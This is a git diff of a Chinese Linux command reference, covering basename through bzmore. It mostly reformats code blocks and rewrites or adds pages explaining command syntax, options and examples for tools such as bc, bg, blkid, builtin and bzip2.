**basename命令** 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。
-### 语法
+### 语法
-```
+```shell
basename(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--help:显示帮助;
--version:显示版本号。
```
-### 参数
+### 参数
-* 文件:带路径信息的文件;
-* 后缀:可选参数,指定要去除的文件后缀字符串。
+* 文件:带路径信息的文件;
+* 后缀:可选参数,指定要去除的文件后缀字符串。
-### 实例
+### 实例
1、要显示一个shell变量的基本名称,请输入:
-```
+```shell
basename $WORKFILE
```
@@ -37,11 +37,10 @@ basename $WORKFILE
要构造一个和另一个文件名称相同(除了后缀)的文件名称,请输入:
-```
+```shell
OFILE=`basename $1 .c`.o
```
此命令指定给 OFILE 文件第一个位置上的参数($1)的值,但它的 .c 后缀更改至 .o。如果 $1 是 /home/jim/program.c 文件,则 OFILE 成为 program.o。因为 program.o 仅是一个基本文件名称,它标识在当前目录中的文件。
-
\ No newline at end of file
diff --git a/command/batch.md b/command/batch.md
index 489b073284d..2531de30bbf 100644
--- a/command/batch.md
+++ b/command/batch.md
@@ -1,33 +1,33 @@
batch
===
-
+
在系统不繁忙的时候执行定时任务
## 补充说明
**batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。
-### 语法
+### 语法
-```
+```shell
batch(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:指定包含具体指令的任务文件;
-q:指定新任务的队列名称;
-m:任务执行完后向用户发送E-mail。
```
-### 参数
+### 参数
日期时间:指定任务执行的日期时间。
-### 实例
+### 实例
-```
+```shell
batch
at> echo 1234
at>
@@ -35,4 +35,3 @@ job 5 at Sun Apr 28 08:49:00 2013
```
-
\ No newline at end of file
diff --git a/command/bc.md b/command/bc.md
index 2c582c15b35..1cf3a43edd0 100644
--- a/command/bc.md
+++ b/command/bc.md
@@ -1,21 +1,21 @@
bc
===
-
+
算术操作精密运算工具
## 补充说明
**bc命令** 是一种支持任意精度的交互执行的计算器语言。bash内置了对整数四则运算的支持,但是并不支持浮点运算,而bc命令可以很方便的进行浮点运算,当然整数运算也不再话下。
-### 语法
+### 语法
-```
+```shell
bc(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-i:强制进入交互式模式;
-l:定义使用的标准数学库;
-w:对POSIX bc的扩展给出警告信息;
@@ -24,15 +24,15 @@ bc(选项)(参数)
-h:显示指令的帮助信息。
```
-### 参数
+### 参数
文件:指定包含计算任务的文件。
-### 实例
+### 实例
算术操作高级运算bc命令它可以执行浮点运算和一些高级函数:
-```
+```shell
echo "1.212*3" | bc
3.636
@@ -40,7 +40,7 @@ echo "1.212*3" | bc
设定小数精度(数值范围)
-```
+```shell
echo "scale=2;3/8" | bc
0.37
@@ -50,7 +50,7 @@ echo "scale=2;3/8" | bc
进制转换
-```
+```shell
#!/bin/bash
abc=192
echo "obase=2;$abc" | bc
@@ -59,7 +59,7 @@ echo "obase=2;$abc" | bc
执行结果为:11000000,这是用bc将十进制转换成二进制。
-```
+```shell
#!/bin/bash
abc=11000000
echo "obase=10;ibase=2;$abc" | bc
@@ -70,10 +70,9 @@ echo "obase=10;ibase=2;$abc" | bc
计算平方和平方根:
-```
+```shell
echo "10^10" | bc
echo "sqrt(100)" | bc
```
-
\ No newline at end of file
diff --git a/command/bg.md b/command/bg.md
index a7aaa85d19c..7dd0cb3fc7f 100644
--- a/command/bg.md
+++ b/command/bg.md
@@ -1,39 +1,48 @@
bg
===
-
-用于将作业放到后台运行
-## 补充说明
+将前台终端作业移动到后台运行
-**bg命令** 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。
+## 概要
-在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。
+```shell
+bg [job_spec ...]
+```
-### 语法
+## 主要用途
-```
-bg(参数)
-```
+- 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。
-### 参数
+- 若后台任务中只有一个,则使用该命令时可以省略任务号。
-作业标识:指定需要放到后台的作业标识号。
+## 参数
-### 实例
+job_spec(可选):指定要移动到后台执行的作业标识符,可以是一到多个。
-使用bg命令将任务号为1的任务放到后台继续执行,输入如下命令:
+## 返回值
-```
-bg 1 #后台执行任务号为1的任务
-```
+返回成功除非未开启作业控制或发生了错误。
-如果系统中只有一个挂起的任务时,即使不为该命令设置参数"1",也可以实现这个功能。
+## 例子
-注意:实际上,使用bg命令与在指令后面添加符号"&"的效果是一样的。例如,使用`&`将`find / -name password`放到后台执行,输入如下命令:
+```shell
+# 运行sleep命令,然后按下ctrl+z。
+sleep 60
+^Z
+[1]+ Stopped sleep 60
+# 使用bg命令使得作业在后台运行。
+bg %1
+
+# 返回信息:
+[1]+ sleep 60 &
```
-find / -name password & #后台执行任务
-```
+
+### 注意
+
+1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
+2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。
+3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
-
\ No newline at end of file
diff --git a/command/bind.md b/command/bind.md
index fa48becd6f1..8a431ed9cb8 100644
--- a/command/bind.md
+++ b/command/bind.md
@@ -1,21 +1,21 @@
bind
===
-
+
显示或设置键盘按键与其相关的功能
## 补充说明
**bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。
-### 语法
+### 语法
-```
+```shell
bind(选项)
```
-### 选项
+### 选项
-```
+```shell
-d:显示按键配置的内容;
-f<按键配置文件>:载入指定的按键配置文件;
-l:列出所有的功能;
@@ -24,16 +24,16 @@ bind(选项)
-v:列出目前的按键配置与其功能。
```
-### 实例
+### 实例
-```
+```shell
bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录
```
其中keyseq可以使用`showkey -a`命令来获取:
-```
-[root@localhost ~]# showkey -a
+```shell
+showkey -a
Press any keys - Ctrl-D will terminate this program
@@ -56,4 +56,3 @@ Press any keys - Ctrl-D will terminate this program
```
-
\ No newline at end of file
diff --git a/command/blkid.md b/command/blkid.md
index 9d93c779b22..be112b5962a 100644
--- a/command/blkid.md
+++ b/command/blkid.md
@@ -1,96 +1,95 @@
blkid
===
-
+
查看块设备的文件系统类型、LABEL、UUID等信息
## 补充说明
在Linux下可以使用 **blkid命令** 对查询设备上所采用文件系统类型进行查询。blkid主要用来对系统的块设备(包括交换分区)所使用的文件系统类型、LABEL、UUID等信息进行查询。要使用这个命令必须安装e2fsprogs软件包。
-### 语法
+### 语法
-```
+```shell
blkid -L | -U
blkid [-c ] [-ghlLv] [-o] [-s ][-t ] -[w ] [ ...]
blkid -p [-s ] [-O ] [-S ][-o] ...
blkid -i [-s ] [-o] ...
```
-### 选项
-
-```
--c 指定cache文件(default: /etc/blkid.tab, /dev/null = none)
--d don't encode non-printing characters
--h 显示帮助信息
--g garbage collect the blkid cache
--o 指定输出格式
--k list all known filesystems/RAIDs and exit
--s 显示指定信息,默认显示所有信息
--t find device with a specific token (NAME=value pair)
--l look up only first device with token specified by -t
--L convert LABEL to device name
--U convert UUID to device name
--v 显示版本信息
--w write cache to different file (/dev/null = no write)
- specify device(s) to probe (default: all devices)
+### 选项
+
+```shell
+-c # 指定cache文件(default: /etc/blkid.tab, /dev/null = none)
+-d # don't encode non-printing characters
+-h # 显示帮助信息
+-g # garbage collect the blkid cache
+-o # 指定输出格式
+-k # list all known filesystems/RAIDs and exit
+-s # 显示指定信息,默认显示所有信息
+-t # find device with a specific token (NAME=value pair)
+-l # look up only first device with token specified by -t
+-L # convert LABEL to device name
+-U # convert UUID to device name
+-v # 显示版本信息
+-w # write cache to different file (/dev/null = no write)
+ # specify device(s) to probe (default: all devices)
Low-level probing options:
--p low-level superblocks probing (bypass cache)
--i gather information about I/O limits
--S overwrite device size
--O probe at the given offset
--u filter by "usage" (e.g. -u filesystem,raid)
--n filter by filesystem type (e.g. -n vfat,ext3)
+-p # low-level superblocks probing (bypass cache)
+-i # gather information about I/O limits
+-S # overwrite device size
+-O # probe at the given offset
+-u # filter by "usage" (e.g. -u filesystem,raid)
+-n # filter by filesystem type (e.g. -n vfat,ext3)
```
-### 实例
+### 实例
1、列出当前系统中所有已挂载文件系统的类型:
-```
+```shell
sudo blkid
```
2、显示指定设备 UUID:
-```
+```shell
sudo blkid -s UUID /dev/sda5
```
3、显示所有设备 UUID:
-```
+```shell
sudo blkid -s UUID
```
4、显示指定设备 LABEL:
-```
+```shell
sudo blkid -s LABEL /dev/sda5
```
5、显示所有设备 LABEL:
-```
+```shell
sudo blkid -s LABEL
```
6、显示所有设备文件系统:
-```
+```shell
sudo blkid -s TYPE
```
7、显示所有设备:
-```
+```shell
sudo blkid -o device
```
8、以列表方式查看详细信息:
-```
+```shell
sudo blkid -o list
```
-
\ No newline at end of file
diff --git a/command/blockdev.md b/command/blockdev.md
index 255d706ece5..236bfe78a92 100644
--- a/command/blockdev.md
+++ b/command/blockdev.md
@@ -1,21 +1,21 @@
blockdev
===
-
+
从命令行调用区块设备控制程序
## 补充说明
**blockdev命令** 在命令调用“ioxtls”函数,以实现对设备的控制。
-### 语法
+### 语法
-```
+```shell
blockdev(选项)(参数)
```
选项
-```
+```shell
-V:打印版本号并退出;
-q:安静模式;
-v:详细信息模式;
@@ -27,29 +27,28 @@ blockdev(选项)(参数)
--rereadpt:重新读取分区表。
```
-### 参数
+### 参数
设备文件名:指定要操作的磁盘的设备文件名。
-### 实例
+### 实例
设置设备为只读:
-```
+```shell
blockdev --setro /dev/hda4
```
读取设备是否为只读:
-```
+```shell
blockdev --getro /dev/hda4
```
设置设别为可读写:
-```
+```shell
blockdev --setrw /dev/hda4
```
-
\ No newline at end of file
diff --git a/command/bmodinfo.md b/command/bmodinfo.md
index b0afaabbcaa..dd59ab7b999 100644
--- a/command/bmodinfo.md
+++ b/command/bmodinfo.md
@@ -1,21 +1,21 @@
bmodinfo
===
-
+
显示给定模块的详细信息
## 补充说明
**bmodinfo命令** 用于显示给定模块的详细信息。
-### 语法
+### 语法
-```
+```shell
bmodinfo(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:显示模块作者;
-d:显示模块的描述信息;
-l:显示模块的许可信息;
@@ -24,15 +24,15 @@ bmodinfo(选项)(参数)
-0:用ASCII码的0字符分割字段值,而不使用新行。
```
-### 参数
+### 参数
模块名:要显示详细信息的模块名称。
-### 实例
+### 实例
显示sg模块的信息:
-```
+```shell
[root@localhost ~]# modinfo sg
filename: /lib/modules/2.6.9-42.ELsmp/kernel/drivers/scsi/sg.ko
author: Douglas Gilbert
@@ -47,4 +47,3 @@ depends: scsi_mod
```
-
\ No newline at end of file
diff --git a/command/break.md b/command/break.md
new file mode 100644
index 00000000000..6e9bec42764
--- /dev/null
+++ b/command/break.md
@@ -0,0 +1,65 @@
+break
+===
+
+结束for,while或until循环。
+
+## 概要
+
+```shell
+break [n]
+```
+
+## 主要用途
+
+- 结束for,while或until循环,可指定退出几层循环。
+
+
+## 参数
+
+n(可选):大于等于1的整数,用于指定退出几层循环。
+
+## 返回值
+
+返回成功除非n小于1。
+
+## 例子
+
+```shell
+# break的可选参数n缺省值为1。
+# 从外层for循环继续执行。
+for((i=3;i>0;i--)); do
+ for((j=3;j>0;j--)); do
+ if((j==2)); then
+ # 换成break 1时结果一样
+ break
+ fi
+ printf "%s %s\n" ${i} ${j}
+ done
+done
+# 输出结果
+3 3
+2 3
+1 3
+```
+
+```shell
+# 当n为2时:
+# 退出两层循环,结束。
+for((i=3;i>0;i--)); do
+ for((j=3;j>0;j--)); do
+ if((j==2)); then
+ break 2
+ fi
+ printf "%s %s\n" ${i} ${j}
+ done
+done
+# 输出结果
+3 3
+```
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+
diff --git a/command/builtin.md b/command/builtin.md
index 32a08aac88c..a1a9cc0518b 100644
--- a/command/builtin.md
+++ b/command/builtin.md
@@ -1,28 +1,56 @@
builtin
===
-
-执行shell内部命令
-## 补充说明
+执行bash内建命令。
-**builtin命令** 用于执行指定的shell内部命令,并返回内部命令的返回值。builtin命令在使用时,将不能够再使用Linux中的外部命令。当系统中定义了与shell内部命令相同的函数时,使用builtin显式地执行shell内部命令,从而忽略定义的shell函数。
+## 概要
-### 语法
-
-```
-builtin(参数)
+```shell
+builtin [shell-builtin [arg ...]]
```
-### 参数
+## 主要用途
+
+- 用于执行指定的bash内建命令。
+- `builtin`命令调用的bash内建命令优先于同名的外部命令及同名的shell函数。
+
+## 参数
+
+shell-builtin(可选):要调用的bash内建命令。
+
+arg(可选):传递给bash内建命令的一到多个参数。
-shell内部命令:指定需要执行的shell内部命令。
+## 返回值
-### 实例
+返回该内建命令执行的返回值,除非传递的不是bash内建命令或该内建命令被禁用。
-使用builtin命令执行shell内部命alias显示命令别名,输入如下命令:
+## 例子
+同名情况下的优先级顺序:
+
+builtin 内建命令 > 函数 > 内建命令 > 外部命令
+
+```shell
+# 关于外部命令优先级最高的情况请参考enable命令。
+# 此时内建命令优先使用
+echo "the Great Wall"
+# 调用内建命令type,返回命令的类型(builtin)
+type -t echo
+# 定义 echo 函数
+echo(){
+ printf "123\n"
+}
+# 此时同名函数优先使用,显示(123)
+echo
+# 调用内建命令type,返回命令的类型(function)
+type -t echo
+# 此时内建命令优先使用
+builtin echo -e "backslash \\"
```
-builtin alias #执行shell内部指令
+
+```shell
+# 执行shell内部指令,输出当前系统下的命令别名
+builtin alias
alias cp='cp -i'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
@@ -32,7 +60,11 @@ alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
```
-上面的命令执行后,将输出当前系统下的命令别名。
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+2. 如果要调用的内建命令被禁用了(包括`builtin`),那么执行会报错;关于禁用和启用内建命令请参考`enable`命令。
+
-
\ No newline at end of file
diff --git a/command/bunzip2.md b/command/bunzip2.md
index beb2c6744c4..af76e5303a0 100644
--- a/command/bunzip2.md
+++ b/command/bunzip2.md
@@ -1,21 +1,21 @@
bunzip2
===
-
-创一个bz2文件压缩包
+
+可解压缩.bz2格式的压缩文件。
## 补充说明
-**bunzip2命令** 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接,即软链接,因此压缩解压都可以通过bzip2实现。
+bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。**bunzip2其实是bzip2的符号链接**,即软链接,因此解压都可以通过bzip2 -d实现。
-### 语法
+### 语法
-```
+```shell
bunzip2(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f或--force:解压缩时,若输出的文件与现有文件同名时,预设不会覆盖现有的文件;
-k或——keep:在解压缩后,预设会删除原来的压缩文件。若要保留压缩文件,请使用此参数;
-s或——small:降低程序执行时,内存的使用量;
@@ -23,19 +23,25 @@ bunzip2(选项)(参数)
-l,--license,-V或——version:显示版本信息。
```
-### 参数
+### 参数
.bz2压缩包:指定需要解压缩的.bz2压缩包。
-### 实例
+### 实例
将`/opt`目录下的etc.zip、var.zip和backup.zip进行压缩,设置压缩率为最高,同时在压缩完毕后不删除原始文件,显示压缩过程的详细信息。
-```
+```shell
bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip
```
压缩完毕后,在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。
+解压缩:
+
+
+```bash
+bunzip2 -v /opt/etc.zip.bz2
+```
+
-
\ No newline at end of file
diff --git a/command/bye.md b/command/bye.md
index aa8fe9f8042..f28fc9d6d4f 100644
--- a/command/bye.md
+++ b/command/bye.md
@@ -1,21 +1,21 @@
bye
===
-命令用于中断FTP连线并结束程序。。
+命令用于中断FTP连线并结束程序
## 补充说明
**bye命令** 在ftp模式下,输入bye即可中断目前的连线作业,并结束ftp的执行。
-### 语法
+### 语法
-```
+```shell
bye
```
### 实例
-```
+```shell
bye
```
\ No newline at end of file
diff --git a/command/bzcat.md b/command/bzcat.md
index da8d41dc56a..010d23d1f20 100644
--- a/command/bzcat.md
+++ b/command/bzcat.md
@@ -1,27 +1,27 @@
bzcat
===
-
-解压缩指定的.bz2文件
+
+不解压,直接查看指定的.bz2文件
## 补充说明
-**bzcat命令** 解压缩指定的.bz2文件,并显示解压缩后的文件内容。保留原压缩文件,并且不生成解压缩后的文件。
+**bzcat命令** 无需解压缩指定的.bz2文件,即可显示解压缩后的文件内容。
-### 语法
+### 语法
-```
+```shell
bzcat(参数)
```
-### 参数
+### 参数
.bz2压缩文件:指定要显示内容的.bz2压缩文件。
-### 实例
+### 实例
将`/tmp/man.config`以bzip2格式压缩:
-```
+```shell
bzip2 -z man.config
```
@@ -29,11 +29,10 @@ bzip2 -z man.config
将上面的压缩文件内容读出来:
-```
+```shell
bzcat man.config.bz2
```
此时屏幕上会显示 man.config.bz2 解压缩之后的文件内容。
-
\ No newline at end of file
diff --git a/command/bzcmp.md b/command/bzcmp.md
index 03bc58f932f..664e3027593 100644
--- a/command/bzcmp.md
+++ b/command/bzcmp.md
@@ -1,22 +1,21 @@
bzcmp
===
-
+
比较两个压缩包中的文件
## 补充说明
**bzcmp命令** 主要功能是在不真正解压缩.bz2压缩包的情况下,比较两个压缩包中的文件,省去了解压缩后在调用cmp命令的过程。
-### 语法
+### 语法
-```
+```shell
bzcmp(参数)
```
-### 参数
+### 参数
-* 文件1:指定要比较的第一个.bz2压缩包;
-* 文件2:指定要比较的第二个.bz2压缩包。
+* 文件1:指定要比较的第一个.bz2压缩包;
+* 文件2:指定要比较的第二个.bz2压缩包。
-
\ No newline at end of file
diff --git a/command/bzdiff.md b/command/bzdiff.md
index 7239c35dea5..93d33f9c9b1 100644
--- a/command/bzdiff.md
+++ b/command/bzdiff.md
@@ -1,22 +1,21 @@
bzdiff
===
-
+
直接比较两个.bz2压缩包中文件的不同
## 补充说明
**bzdiff命令** 用于直接比较两个“.bz2”压缩包中文件的不同,省去了解压缩后再调用diff命令的过程。
-### 语法
+### 语法
-```
+```shell
bzdiff(参数)
```
-### 参数
+### 参数
* 文件1:指定要比较的第一个.bz2压缩包;
* 文件2:指定要比较的第二个.bz2压缩包。
-
\ No newline at end of file
diff --git a/command/bzgrep.md b/command/bzgrep.md
index d94e896d952..7b9a2a762bb 100644
--- a/command/bzgrep.md
+++ b/command/bzgrep.md
@@ -1,22 +1,21 @@
bzgrep
===
-
+
使用正则表达式搜索.bz2压缩包中文件
## 补充说明
**bzgrep命令** 使用正则表达式搜索“.bz2”压缩包中文件,将匹配的行显示到标注输出。
-### 语法
+### 语法
-```
+```shell
bzgrep(参数)
```
-### 参数
+### 参数
* 搜索模式:指定要搜索的模式;
* .bz2文件:指定要搜索的.bz2压缩包。
-
\ No newline at end of file
diff --git a/command/bzip2.md b/command/bzip2.md
index b199e9f4f36..26fa49cd11f 100644
--- a/command/bzip2.md
+++ b/command/bzip2.md
@@ -1,44 +1,102 @@
bzip2
===
-
+
将文件压缩成bz2格式
## 补充说明
-**bzip2命令** 用于创建和管理(包括解压缩)“.bz2”格式的压缩包。我们遇见Linux压缩打包方法有很多种,以下讲解了Linux压缩打包方法中的Linux bzip2命令的多种范例供大家查看,相信大家看完后会有很多收获。
+**bzip2命令** 用于创建和管理(包括解压缩)“.bz2”格式的压缩包。
-### 语法
+bzip2 采用 Burrows-Wheeler 块排序文本压缩算法和 Huffman 编码方式压缩文件。 压缩率一般比基于 LZ77/LZ78 的压缩软件好得多,其性能接近 PPM 族统计类压缩软件。
+命令行参数有意设计为非常接近 GNU gzip 的形式,但也不完全相同。
+
+bzip2 从命令行读入文件名和参数。 每个文件被名为 "原始文件名.bz2" 的压缩文件替换。 每个压缩文件具有与原文件相同的修改时间、 权限, 如果可能的话,还具有相同的属主, 因此在解压缩时这些特性将正确地恢复。 在某些文件系统中, 没有权限、 属主或时间的概念, 或者对文件名的长度有严格限制, 例如 MSDOS,在这种情况下,bzip2 没有保持原文件名、 属主、 权限以及时间的机制, 从这个意义上说,bzip2 对文件名的处理是幼稚的。
+
+bzip2 和 bunzip2 在缺省情况下不覆盖已有的文件。 如果想覆盖已有的文件,要指定 -f 选项。
+
+如果未指定文件名, bzip2 将压缩来自标准输入的数据并写往标准输出。在这种情况下, bzip2 会拒绝将压缩结果写往终端,因为这完全无法理解并且是没有意义的。
+
+bunzip2 (以及 bzip2 -d) 对所有指定的文件进行解压缩处理。不是由 bzip2 产生的文件将被忽略,同时发出一个警告信息。 bzip2 按下列方式由压缩文件名确定解压后的文件名:
+
+```shell
+filename.bz2 解压成 filename
+filename.bz 解压成 filename
+filename.tbz2 解压成 filename.tar
+filename.tbz 解压成 filename.tar
+anyothername 解压成 anyothername.out
```
-bzip2(选项)(参数)
-```
-### 选项
+如果文件名的后缀不是下列之一: .bz2, .bz, .tbz2 或 .tbz, .bzip2 将抱怨无法确定原始文件名,并采用原文件名加 .out 作为解压缩文件名。
+
+在压缩时,如果不提供文件名,bzip2 将从标准输入读取数据,压缩结果写往标准输出。
+
+bzip2 采用 32 位 CRC 校验码作自我检查,以确认解压后的文件与原始文件相同。 这可用于检测压缩文件是否损坏,并防止 bzip2 中未知的缺陷(运气好的话这种可能性非常小)。 数据损坏而未检测到的几率非常之小, 对于每个被处理的文件大约是四十亿分之一。 检查是在解压缩时进行的,因此它只能说明某个地方出问题了。 它能帮助恢复原始未压缩的数据。可以用 bzip2recover 来尝试从损坏的文件中恢复数据。
+
+返回值:正常退出返回 0, 出现环境问题返回 1 (文件未找到,非法的选项,I/O错误等), 返回 2 表明压缩文件损坏,出现导致 bzip2 紧急退出的内部一致性错误(例如缺陷)时返回 3。
+### 语法
+
+```shell
+bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ... ]
```
--c或——stdout:将压缩与解压缩的结果送到标准输出;
--d或——decompress:执行解压缩;
--f或-force:bzip2在压缩或解压缩时,若输出文件与现有文件同名,预设不会覆盖现有文件。若要覆盖。请使用此参数;
--h或——help:在线帮助;
--k或——keep:bzip2在压缩或解压缩后,会删除原始文件。若要保留原始文件,请使用此参数;
--s或——small:降低程序执行时内存的使用量;
--t或——test:测试.bz2压缩文件的完整性;
--v或——verbose:压缩或解压缩文件时,显示详细的信息;
--z或——compress:强制执行压缩;
--V或——version:显示版本信息;
---repetitive-best:若文件中有重复出现的资料时,可利用此参数提高压缩效果;
---repetitive-fast:若文件中有重复出现的资料时,可利用此参数加快执行效果。
+
+### 选项
+
+```shell
+-c --stdout
+ # 将数据压缩或解压缩至标准输出。
+
+-d --decompress
+ # 强制解压缩。 bzip2, bunzip2 以及 bzcat 实际上是同一个程序,进行何种操作将根据程序名确定。 指定该选项后将不考虑这一机制,强制 bzip2 进行解压缩。
+
+-z --compress
+ # -d 选项的补充:强制进行压缩操作,而不管执行的是哪个程序。
+
+-t --test
+ # 检查指定文件的完整性,但并不对其解压缩。 实际上将对数据进行实验性的解压缩操作,而不输出结果。
+
+-f --force
+ # 强制覆盖输出文件。通常 bzip2 不会覆盖已经存在的文件。该选项还强制 bzip2 打破文件的硬连接,缺省情况下 bzip2 不会这么做。
+
+-k --keep
+ # 在压缩或解压缩时保留输入文件(不删除这些文件)。
+
+-s --small
+ # 在压缩、解压缩及检查时减少内存用量。采用一种修正的算法进行压缩和测试,每个数据块仅需要 2.5 个字节。这意味着任何文件都可以在 2300k
+ # 的内存中进行解压缩, 尽管速度只有通常情况下的一半。
+
+ # 在压缩时,-s将选定 200k 的块长度,内存用量也限制在 200k 左右, 代价是压缩率会降低。 总之,如果机器的内存较少(8兆字节或更少),
+ # 可对所有操作都采用-s选项。参见下面的内存管理。
+
+-q --quiet
+ # 压制不重要的警告信息。属于 I/O 错误及其它严重事件的信息将不会被压制。
+
+-v --verbose
+ # 详尽模式 -- 显示每个被处理文件的压缩率。 命令行中更多的 -v 选项将增加详细的程度, 使 bzip2 显示出许多主要用于诊断目的信息。
+
+-L --license -V --version
+ # 显示软件版本,许可证条款及条件。
+
+-1 to -9
+ # 在压缩时将块长度设为 100 k、200 k .. 900 k。 对解压缩没有影响。参见下面的内存管理。
+
+-- # 将所有后面的命令行变量看作文件名,即使这些变量以减号"-"打头。 可用这一选项处理以减号"-"打头的文件名, 例如:bzip2 -- -myfilename.
+
+--repetitive-fast --repetitive-best
+ # 这些选项在 0.9.5 及其以上版本中是多余的。 在较早的版本中,这两个选项对排序算法的行为提供了一些粗糙的控制,有些情况下很有用。 0.9.5
+ # 及其以上版本采用了改进的算法而与这些选项无关。
```
-### 参数
+### 参数
文件:指定要压缩的文件。
-### 实例
+### 实例
- **压缩指定文件filename:**
+**压缩指定文件filename:**
-```
+```shell
bzip2 filename
或
bzip2 -z filename
@@ -46,9 +104,9 @@ bzip2 -z filename
这里,压缩的时候不会输出,会将原来的文件filename给删除,替换成filename.bz2.如果以前有filename.bz2则不会替换并提示错误(如果想要替换则指定-f选项,例如`bzip2 -f filename`;如果filename是目录则也提醒错误不做任何操作;如果filename已经是压过的了有bz2后缀就提醒一下,不再压缩,没有bz2后缀会再次压缩。
- **解压指定的文件filename.bz2:**
+**解压指定的文件filename.bz2:**
-```
+```shell
bzip2 -d filename.bz2
或
bunzip2 filename.bz2
@@ -56,59 +114,59 @@ bunzip2 filename.bz2
这里,解压的时候没标准输出,会将原来的文件filename.bz2给替换成filename。如果以前有filename则不会替换并提示错误(如果想要替换则指定`-f`选项,例如`bzip2 -df filename.bz2`。
- **压缩解压的时候将结果也输出:**
+**压缩解压的时候将结果也输出:**
-```
+```shell
$bzip2 -v filename
```
输入之后,输出如下:
-```
+```shell
filename: 0.119:1, 67.200 bits/byte, -740.00% saved, 5 in, 42 out.
```
这里,加上`-v`选项就会输出了,只用压缩举例了,解压的时候同理`bzip2 -dv filename.bz2`不再举例了。
- **模拟解压实际并不解压:**
+**模拟解压实际并不解压:**
-```
+```shell
bzip2 -tv filename.bz2
```
输入之后,输出如下:
-```
+```shell
filename.bz2: ok
```
这里,`-t`指定要进行模拟解压,不实际生成结果,也就是说类似检查文件,当然就算目录下面有filename也不会有什么错误输出了,因为它根本不会真的解压文件。为了在屏幕上输出,这里加上`-v`选项了,如果是真的解压`bzip2 -dv filename.bz2`则输出的是把"ok"替换成了"done"。
- **压缩解压的时候,除了生成结果文件,将原来的文件也保存:**
+**压缩解压的时候,除了生成结果文件,将原来的文件也保存:**
-```
+```shell
bzip2 -k filename
```
这里,加上`-k`就保存原始的文件了,否则原始文件会被结果文件替代。只用压缩举例了,解压的时候同理`$bzip2 -dk filename.bz2`不再举例了。
- **解压到标准输出:**
+**解压到标准输出:**
-```
+```shell
bzip2 -dc filename.bz2
```
输入之后,输出如下:
-```
+```shell
hahahhaahahha
```
这里,使用`-c`指定到标准输出,输出的是文件filename的内容,不会将filename.bz2删除。
- **压缩到标准输出:**
+**压缩到标准输出:**
-```
+```shell
bzip2 -c filename
bzip2: I won't write compressed data to a terminal.
bzip2: For help, type: `bzip2 --help'.
@@ -116,13 +174,13 @@ bzip2: For help, type: `bzip2 --help'.
这里,使用`-c`指定压缩到标准输出不删除原有文件,不同的是,压缩后的文件无法输出到标准输出。
- **使用bzip2的时候将所有后面的看作文件(即使文件名以'-'开头):**
+**使用bzip2的时候将所有后面的看作文件(即使文件名以'-'开头):**
-```
+```shell
bzip2 -- -myfilename
```
这里主要是为了防止文件名中`-`产生以为是选项的歧义。
-
\ No newline at end of file
+
diff --git a/command/bzip2recover.md b/command/bzip2recover.md
index 35494107d5f..bf8d6f9a6d3 100644
--- a/command/bzip2recover.md
+++ b/command/bzip2recover.md
@@ -1,6 +1,6 @@
bzip2recover
===
-
+
恢复被破坏的.bz2压缩包中的文件
## 补充说明
@@ -9,15 +9,14 @@ bzip2recover
bzip2是以区块的方式来压缩文件,每个区块视为独立的单位。因此,当某一区块损坏时,便可利用bzip2recover,试着将文件中的区块隔开来,以便解压缩正常的区块。通常只适用在压缩文件很大的情况。
-### 语法
+### 语法
-```
+```shell
bzip2recover(参数)
```
-### 参数
+### 参数
文件:指定要恢复数据的.bz2压缩包。
-
\ No newline at end of file
diff --git a/command/bzless.md b/command/bzless.md
index 10cde14ca28..af790362764 100644
--- a/command/bzless.md
+++ b/command/bzless.md
@@ -1,21 +1,20 @@
bzless
===
-
+
增强.bz2压缩包查看器
## 补充说明
**bzless命令** 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大。
-### 语法
+### 语法
-```
+```shell
bzless(参数)
```
-### 参数
+### 参数
文件:指定要分屏显示的.bz2压缩包。
-
\ No newline at end of file
diff --git a/command/bzmore.md b/command/bzmore.md
index 23da1b95539..f160e620f22 100644
--- a/command/bzmore.md
+++ b/command/bzmore.md
@@ -1,21 +1,20 @@
bzmore
===
-
+
查看bzip2压缩过的文本文件的内容
## 补充说明
**bzmore命令** 用于查看bzip2压缩过的文本文件的内容,当下一屏显示不下时可以实现分屏显示。
-### 语法
+### 语法
-```
+```shell
bzmore(参数)
```
-### 参数
+### 参数
